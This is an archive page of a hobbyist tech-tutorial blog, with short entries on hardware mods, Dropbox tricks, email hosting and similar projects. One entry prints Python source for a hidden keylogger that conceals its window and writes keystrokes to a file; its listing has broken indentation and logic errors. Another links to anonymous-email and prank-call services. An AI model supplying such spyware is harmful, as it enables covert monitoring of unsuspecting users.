Tinkernut Labs



  • How To Make A Backlit Keyboard

    August 9, 2010 // davisde // DIY Projects Tags: computer, glow, keyboard, rainbow, tinkernut, tips, tricks, tutorial, wire 5 Responses




    In this episode, we will be making a backlit keyboard using a usb-enabled keyboard and some el-wire.
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  • Awesome Dropbox Tricks

    July 14, 2010 // davisde // Web Tips Tags: cloud, computer, control, dropbox, hack, host, itunes, music, remote, upload, website 3 Responses







    Here are some cool Dropbox tricks that will turn you into a power user in no time!

    Dropbox – http://www.dropbox.com

    Akira – http://macobex.wordpress.com

    More cool tricks – http://tinkernut.com/forum/video-tutorial-help/awesome-dropbox-tricks

  • Easy Pranks For April Fools

    March 31, 2010 // davisde // DIY Projects Tags: anonymous, april, computer, fake, first, fools, funny, gag, prank, tips, tricks, tutorial 6 Responses





    With April Fools day just around the corner, this video shows you some easy pranks that you can pull from your computer.

    – Send anonymous e-mails – http://anonymouse.org/anonemail.html – http://www.monkeys.com/formmailer

    – Prank Calls – http://prankdialer.com/ – http://www.myphoneblaster.com

    – Fake death video – http://www.thedexterhitlist.com/sendon.php

    – Send Poop – http://www.poopsenders.com

  • How To Make An E-mail Server

    March 10, 2010 // davisde // Software Tips, Web Tips Tags: computer, email, home, pc, server, tinkernut, tricks, tutorial, webmail 42 Responses





    This video shows how to host your own e-mail service using your home computer.

    Related tutorials:
    http://www.tinkernut.com/archives/116
    http://www.tinkernut.com/archives/163

    Links used in this video:
    http://www.wampserver.com
    http://www.hmailserver.com
    http://www.squirrelmail.org

  • Control Your Computer With Sonar

    March 4, 2010 // davisde // Computer Hardware, DIY Projects Tags: computer, control, green, power, save, sonar, tinkernut, tips, tricks, tutorial 3 Responses





    This video will show you how to save energy on your computer using sonar. This concept is based on a program that you can downoad from here: http://stevetarzia.com/sonar/d…..wnload.php

    Links
    used in this video:

    http://stevetarzia.com/sonar/d…..wnload.php

    http://www.microsoft.com/expre…../Downloads

    http://www.wxwidgets.org/downloads

    http://www.portaudio.com/download.html

    http://www.7zip.org

    C++ Command for opening a webpage:

    Shell Execute(NULL, “open”, “http://www.tinkernut.com”, NULL, NULL, SW_SHOWNORMAL);

    C++ Comman for opening a CD tray:

    mciSendString(“set CDAudio door open”, NULL, 0, NULL);

  • Backup Your Entire Computer For Free

    November 4, 2009 // davisde // Safety & Security, Software Tips Tags: backup, computer, data, free, restore, save, security, software, tinkernut, tips, tricks, tutorial 19 Responses





    Protect yourself from computer crashes by backing up your computer using this free software. GFI Backup utility: http://www.gfi.com Belarc Advisor (License Keys) http://www.belarc.com/free_download.html

  • Make A Guitar Hero Clone

    October 8, 2009 // davisde // DIY Projects, Gaming Tags: clone, computer, diy, free, game, Gaming, make, tips, tricks, usb, wii, xbox 4 Responses






    This tutorial will show you how you can create your own Guitar Hero Clone using free software and a controller that you can make using parts that total around $22. These are the links used in this video:

    http://fretsonfire.sourceforge.net

  • How To Make A Keylogger

    September 11, 2009 // davisde // Hacks, Programming Tips Tags: computer, hack, hacking, keyboard, keylogger, programming, python, scripts, tinkernut, tips, tricks, tutorial 38 Responses


    KEYLOGGER SOURCECODE AND

    – Download Python: http://www.python.org/

    – Download Pyhook: pyhook.sourceforge.net

    – Download Python for Windows Extensions: http://sourceforge.net/projects/pywin32/

    SOURCE:

    import win32api
    import win32console
    import win32gui
    
    import pythoncom, pyHook
    
    win = win32console.GetConsoleWindow()
    win32gui.ShowWindow(win,0)
    
    def OnKeyboardEvent(event):
     if event.Ascii==5:
            
    _exit(1)
    
     if event.Ascii != 0 or 8:
     f=open('c:output.txt','r')
           
     buffer=f.read()
     f.close()
            
    f=open('c:output.txt','w')
     keylogs=chr(event.Ascii)
           
     if event.Ascii==13:
     keylogs='/n'
     buffer += 
    keylogs
     f.write(buffer)
     f.close()
    
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
  • Cool Wiimote Tricks Using A PC

    June 5, 2009 // davisde // Gaming, Hacks, Video Tags: computer, hack, mouse, pc, reality, remote, screen, tips, touch, touchscreen, tricks, tutorial, virtual, wii 7 Responses


    This video shows you how to connect a Wii remote to a PC and some different tips and tricks you can do with it. For all links and websites used in the video, please visit the URL below:

  • Control Your Computer With Twitter

    May 8, 2009 // davisde // DIY Projects, Video Tags: cell, computer, control, phone, remote, tips, tricks, tutorial, twitter 1 Response


    This video introduces TweetMyPc, which allows you to shutdown,logoff, or reboot your computer remotely using Twitter.

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